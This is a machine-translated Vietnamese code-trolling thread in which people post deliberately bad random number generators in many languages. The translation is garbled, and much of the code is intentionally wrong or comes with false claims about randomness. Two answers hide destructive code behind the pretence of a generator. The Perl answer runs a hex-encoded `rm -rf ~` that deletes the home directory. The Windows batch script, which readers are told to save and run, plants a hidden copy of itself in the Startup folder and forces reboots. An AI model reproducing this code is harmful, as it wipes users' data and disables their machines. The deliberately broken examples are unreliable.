Các thách thức:

Tạo một chuỗi số ngẫu nhiên. Đầu vào duy nhất phải là độ dài của chuỗi.

Thêm điểm internet cho các giải pháp chức năng thuần túy.

^{Lưu ý: Đây là một câu hỏi trolling mã . Xin đừng coi trọng câu hỏi và / hoặc câu trả lời. Thêm thông tin ở đây .}

Con trăn

Lấy một bài viết trên wikipedia ngẫu nhiên và lấy một chuỗi các ký tự html có độ dài num và nhận các giá trị số của chúng

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Tất cả các chương trình từ các câu trả lời khác sẽ chỉ tạo ra cái gọi là số giả ngẫu nhiên, có thể trông ngẫu nhiên đối với mắt chưa được huấn luyện nhưng thực sự tuân theo một số mẫu.

Chương trình sau đây tạo ra các số ngẫu nhiên thực tế bằng cách biến máy tính của bạn thành máy dò hạt cho bức xạ nền. Vì điều này dựa trên các hiệu ứng lượng tử, nó thực sự ngẫu nhiên và không thể dự đoán được. Và để nhận tiền thưởng, chương trình thực sự chạy nhanh hơn, nếu bạn khởi động máy tính của mình vào không gian. Và vâng, đó là mỗi bit mát mẻ như nó nghe.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Spoiler:

Chương trình này tạo ra hai mảnh bộ nhớ giống hệt nhau và sau đó chờ đợi mất bao lâu để bức xạ nền thay đổi một trong số chúng. Thời gian chờ sau đó được trả về dưới dạng một số ngẫu nhiên, sẽ được phân phối theo cấp số nhân, nếu nó không cho số nguyên tràn. Những sự kiện như vậy có nhiều khả năng trong không gian là một vấn đề thực tế trong ngành du hành vũ trụ, được giải quyết bằng cách làm cứng bức xạ . Vì vậy, mọi tuyên bố trong phần giới thiệu đều đúng ở một mức độ nào đó, ngoài một chút về sự mát mẻ.

Thật không may, một sự kiện như vậy làm sập máy tính hoặc ít nhất là chương trình có nhiều khả năng hơn là nó ảnh hưởng đến chính xác hai khối bộ nhớ đó. Ngoài ra, có thể mất một lúc, cuối cùng, như được chỉ ra bởi kinokijuf, bức xạ nền là một quá trình bên ngoài, vì vậy jvà knên được đánh dấu là volatiletrình biên dịch (hoặc bạn nên sử dụng trình biên dịch hoàn toàn không tối ưu hóa).

PS: Mở rộng ý tưởng, người ta cũng có thể chỉ cần tạo một mảng chứa đầy số không và sau đó in nó. Có khả năng radiation rằng bức xạ nền thay đổi các số 0 giữa lưu trữ và in và do đó, những gì được in là ngẫu nhiên - OP không bao giờ nói cách phân phối các số ngẫu nhiên.

Tính ngẫu nhiên là khó đạt được trên máy tính, vì chúng hoàn toàn mang tính quyết định. Tạo số ngẫu nhiên trên máy tính là một lĩnh vực nghiên cứu rất tích cực, thường liên quan đến các tác nhân cấp nhà nước (Xem Dual_EC_DRBG ). Tuy nhiên, trên một hệ điều hành đa tác vụ hiện đại, bộ lập lịch xử lý luồng có thể thực hiện một công việc có thể vượt qua trong một số tình huống. Để làm điều này, chúng tôi mang lại quyền kiểm soát lát cắt thời gian hiện tại của chúng tôi trở lại hệ điều hành và lưu ý thời gian cần thiết để chúng tôi được lên lịch lại. Tùy thuộc vào hệ điều hành và tải, điều này có thể tạo ra kết quả mong muốn.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C #

Vì những người sử dụng phần mềm vốn đã ngẫu nhiên theo bản chất của họ, tại sao không sử dụng điều đó cho lợi thế của chúng tôi?

Mã này chụp ảnh màn hình và sử dụng mã đó với một số dữ liệu khác để tạo chuỗi ngẫu nhiên. Điểm thưởng internet không sử dụng trình tạo Ngẫu nhiên tích hợp?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Con trăn

Rất dễ vấp phải những cạm bẫy phổ biến: một nguồn ngẫu nhiên không phân bố đều và không có ngẫu nhiên. Giải pháp của tôi tuyệt vời tránh được những vấn đề này bằng cách sử dụng những hiểu biết sâu sắc về toán học và một thủ thuật đơn giản nhưng hiệu quả, ngẫu nhiên với thời điểm hiện tại:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Hoạt động tuyệt vời khi được kiểm tra một lần cho một bộ số nhỏ (9 hoặc ít hơn), nhưng thiếu sót nghiêm trọng đã được kiểm tra thêm một chút:

• math.pi chỉ chứa một vài chữ số sau khoảng thời gian
• time.localtime()[8]không trả về mili giây hoặc đồng hồ kernel, nhưng 0 hoặc 1 tùy thuộc vào việc đó có tiết kiệm thời gian ban ngày hay không. Vì vậy, hạt giống ngẫu nhiên thay đổi cứ sau nửa năm một lần. Vì vậy, về cơ bản, không có ngẫu nhiên.
• Điều này chỉ trả về số ngẫu nhiên trong khoảng từ 0 đến 9.
• random_numbers[:number]âm thầm thất bại khi bạn nhập numberlớn hơn 15 và chỉ phun ra 15 số ngẫu nhiên.

Đáng buồn thay, điều này được lấy cảm hứng từ chức năng ngẫu nhiên Delphi 1.0, được sử dụng để hoạt động tương tự.

Hồng ngọc

Câu hỏi yêu cầu TÌM KIẾM. Chúng ta lại đi ...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Điều này là ngẫu nhiên 100%. Không thực sự.
Quá xấu này có nghĩa là mã NOTHING để OP (cái quái gì object_id?)
Ngoài ra, nó thực hiện cụ thể, có nghĩa là nó hoạt động hay không giữa các phiên bản ruby khác nhau (chạy này trên 2.1.0p0).
Trên hết, điều này có khả năng có thể làm điều gì đó thực sự khó chịu, vì OP có thể thử nghiệm với object_id ...

Ví dụ đầu ra:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Biên tập:

sửa đổi để sử dụng $$cho sự ngẫu nhiên thực sự (ở cấp độ hệ điều hành).

Java

Coi chừng, đây là một câu hỏi mẹo .....

Hầu hết mọi người trong Java sẽ sử dụng math.random () để giúp tạo ra chuỗi này, nhưng họ sẽ bị lẫn lộn vì họ sẽ chỉ nhận được kết quả tích cực! random()trả về giá trị thập phân từ 0 đến 1 (không bao gồm 1 chính nó). Vì vậy, bạn phải chơi một số thủ thuật để đảm bảo bạn có được sự phân phối tốt các giá trị ngẫu nhiên từ toàn bộ phạm vi số nguyên (dương và âm).

Ngoài ra, bạn không thể đơn giản nhân lên Math.random()và Integer.MAX_VALUEbởi vì bạn điều này sẽ không bao giờ bao gồm Integer.MAX_VALUEchính nó như là một phần của kết quả! Ngoài ra, sẽ là hợp lý khi làm math.rand() * (Integer.MAX_VALUE + 1)như vậy để bạn có được một bản phân phối đầy đủ, nhưng, tất nhiên, điều này không hoạt động vì Integer.MAX_VALUE + 1sẽ tràn ra và trở thành Integer.MIN_VALUE! Vì vậy, thật không may, giải pháp tốt nhất là sử dụng các thao tác dữ liệu bit khôn ngoan ...

Vì vậy, đây là một chuỗi hoàn chỉnh để tạo các giá trị ngẫu nhiên trong phạm vi Integer.MIN_VALUEthành Integer.MAX_VALUE(Bao gồm cả hai thái cực (là phần khó) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Điều này tạo ra đầu ra như:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Tất nhiên, trên đây là một câu trả lời hoàn chỉnh của BS. Nó không tạo ra một mô tả hay và nó 'che giấu' một lỗi nghiêm trọng ( ^=nên có |=). nó cũng che giấu một lỗi ít nghiêm trọng hơn (ưu tiên thứ tự pf có nghĩa là chúng ta thực sự không nhân với một giá trị nguyên tố nào cả!) Sử dụng các từ ưa thích, số nguyên tố và rất nhiều bình luận không phải là lý do để tin vào mã ... Tất nhiên, nếu bạn muốn làm như trên, bạn chỉ nên sử dụngjava.util.Random.nextInt()

Java

Bây giờ tôi nhìn lại chương trình, tôi đã quên đóng Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Tôi đang thực hiện cùng một $\chiến thuật cho đầu ra như trong một câu trả lời troll mã khác. Ngoài ra, nhiều bạn chú ý rằng tôi đang đầu tư một lượng đáng kể $$vào thuật toán RANDU .

Chỉnh sửa: Để giải thích rõ hơn, RANDU là một PRNG không an toàn khủng khiếp. Wikipedia mô tả là "một trong những trình tạo số ngẫu nhiên khó hiểu nhất từng được thiết kế." Đó là điểm yếu chính dưới đây:

f (x) = 6 * f (x-1) - 9 * f (x-2)

Đây là một trình tạo số ngẫu nhiên, cơ sở 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

Trong javascript, với một kiểu chức năng:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

C

Hàm này hoạt động rất tốt cho các ứng dụng nhỏ để tạo số ngẫu nhiên trong khoảng từ 0 đến 1337. Gọi nhiều hơn một lần là điều nên làm để đảm bảo tính ngẫu nhiên tối đa.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

Máy phát điện Blum Blum Shub nổi tiếng . Bởi vì các trình tạo số ngẫu nhiên nên bảo mật bằng mật mã, và cách nào tốt hơn để cung cấp bảo mật hơn là thông qua che khuất.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Bao gồm tên biến khủng khiếp, cách triển khai không chính xác dựa trên quét nhanh wikipedia và ma thuật con trỏ hàm vô dụng được ném vào cho vui)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Sử dụng một số dữ liệu đống rác. Ồ, và đừng quên rò rỉ con trỏ.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Ưu điểm:

• Nó hoạt động.
• Đôi khi.
• Hợp lệ (ish) C89.
• C ++ khủng khiếp.
• Sử dụng các tiêu đề C vì using namespace std;là EVIL và chúng tôi không muốn làm chậm chương trình xuống với tất cả những tra cứu không gian tên.
• Chúng tôi tránh sự đồng đều của phân phối theo hướng có lợi cho tốc độ bằng cách sử dụng mô đun có giá trị được mã hóa cứng (TODO: thay đổi điều này để sử dụng bithift để có tốc độ thô hơn nữa).
• Có thể xác minh tính xác định bằng cách thực hiện lần thứ hai trong cùng một giây đồng hồ.
• Tại sao mã này xấu đến mức không thể tin được rằng OP có thể sẽ không nhận ra nó.

Nhược điểm:

• Tại sao mã này xấu đến mức không thể tin được rằng giáo sư của OP (học sinh lớp) có thể sẽ không nhận ra nó.
• Điều này dường như thường được coi là một giải pháp chấp nhận được.
• Cần nhiều TỐC ĐỘ RAW.

Toán học

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Đầu vào - 3

Đầu ra - {2,3,1}

Nó hoạt động vì nó sôi :Input A:Disp randIntNoRep(1,A)

Đây là một giải pháp Python. Bạn không thể chứng minh rằng điều này không ngẫu nhiên!

def get_random(num):
    print '3' * num

Hãy thử nó bằng cách gọi get_random(5), ví dụ.

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Cái này sử dụng một số mã perl rất đơn giản để làm như OP đã yêu cầu, nhưng trước đó không xóa đệ quy thư mục chính của họ (mà không thực sự viết rm -rf ~, tất nhiên.)

Tôi đã không kiểm tra điều này (vì lý do rõ ràng).

Con trăn 3

Không chỉ lãng phí rất nhiều thời gian (cả thời gian thực và CPU), nó chỉ trả về 10 số ngẫu nhiên.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Hồng ngọc

Bạn có thể biết rằng không phải tất cả các số là ngẫu nhiên. Chương trình này kiểm tra tất cả các số và chỉ cung cấp cho bạn những số thực sự là ngẫu nhiên.

Coi chừng rằng mã Ruby hơi khó đọc. Nó không hiệu quả như tiếng Anh vì máy tính hơi ngu ngốc và đôi khi bạn phải lặp lại những từ quan trọng với chúng.

Vì vậy, tôi đã thêm một số #commentsvào mã; Các từ UPPERCASE trong các bình luận cho thấy từ đó hoạt động như thế nào trong mã Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Giải thích chi tiết hơn có thể đến sau, nhưng đầu ra này từ một ví dụ chạy sẽ đưa ra một số giải thích: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... kinda ngẫu nhiên mặc dù.

Tập lệnh Windows Batch sau đây sẽ tạo một tệp có các số ngẫu nhiên có tên OUTPUT.TXTtrong thư mục hồ sơ của bạn. Điều này được đảm bảo để tạo ra các số ngẫu nhiên gần như hoàn toàn đúng. Chỉ cần dán mã này vào Notepad, lưu dưới dạng "FileName.CMD"(có dấu ngoặc kép) và thực thi.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Phải nhập một số lượng ngẫu nhiên được tạo ra là cách quá rắc rối. Chỉ cần nhấn và giữ nút nguồn để làm cho nó ngừng tạo. Cách dễ dàng hơn! Thêm vào đó: nó không yêu cầu bàn phím.

Lua

Đây là một hàm quá mức, quá phức tạp, lộn xộn (thậm chí với một cú pháp tô sáng cú pháp), hàm tạo ra số lượng cao vô cùng theo cách quá phức tạp. Và thay vì trả về chuỗi số, nó sẽ in chúng trên màn hình, khiến nó không thực tế để sử dụng trong các chương trình của bạn. Thật khó để chỉnh sửa, vì vậy nếu chiến thắng của bạn yêu cầu bạn sửa nó, hãy nói rằng nó quá phức tạp để chỉnh sửa.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Lưu ý rằng nó có xu hướng phá vỡ các chuỗi dài hơn, nhưng khi nó hoạt động, nó tạo ra các số rất ngẫu nhiên

Pháo đài

Máy tính của bạn đã có sẵn một số ngẫu nhiên, vì vậy bạn chỉ cần truy cập vào đó:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Rõ ràng là không thể di động, vì nó yêu cầu người dùng phải có hệ thống * nix (nhưng ai vẫn sử dụng Windows?).

Tôi cho rằng bạn tất nhiên cần rất nhiều số ngẫu nhiên. Mà gọi cho ...

Bash và Hadoop

Tất nhiên, chỉ sử dụng một nguồn ngẫu nhiên duy nhất là không đáng tin cậy trong thời của NSA. Họ có thể đã trojan máy tính của bạn. Nhưng họ sẽ không phá hủy toàn bộ cụm của bạn!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Tiếp theo, tập lệnh sẽ chạy các công việc cụm như mong muốn:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Cảm ơn chúa, chúng ta có sức mạnh của Hadoop!

Hồng ngọc

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

AN C

Điều này khá khó khăn và tôi sẽ không lo lắng quá nhiều về nó. Chỉ cần sao chép và dán mã dưới đây vào thư viện của bạn và bạn sẽ được vàng mãi mãi.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Hãy thử C ++ - nhanh chóng, mạnh mẽ, mọi thứ bạn sẽ muốn:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Nhân tiện, để có kết quả tốt nhất, bạn sẽ muốn sử dụng a class.

Giải thích:
1. Anh ấy KHÔNG cần sử dụng điều đó class- điều đó hoàn toàn dư thừa.
2. Câu lệnh return generate_num()thực sự trả về số ^ (số ^ 0), ước tính thành số ^ 1, là số. Điều này cũng là dư thừa.
3. Xử lý lỗi không cần thiết nhất - điều gì có thể xảy ra với lỗi cơ bản của dữ liệu này?
4. Tôi đã sử dụng std::trước tất cả các yếu tố của stdkhông gian tên. Điều này cũng là dư thừa.
5. Các #definetuyên bố cũng không cần thiết - Tôi đã làm điều đó để khiến anh ấy nghĩ rằng tôi đã xác định các loại cụ thể cho chương trình này.

Tuyên bố từ chối trách nhiệm:
Chương trình này thực sự hoạt động; tuy nhiên, tôi KHÔNG đề nghị bất kỳ cá nhân hoặc tổ chức nào sử dụng nó trong mã của họ cho cuộc sống thực. Tôi không bảo lưu bất kỳ quyền nào về mã này; nói cách khác, tôi làm cho nó hoàn toàn là nguồn mở.

Con trăn

Lấy phần chức năng - con trăn gần như một lớp lót

import random
map(lambda x: random.random(), xrange(input())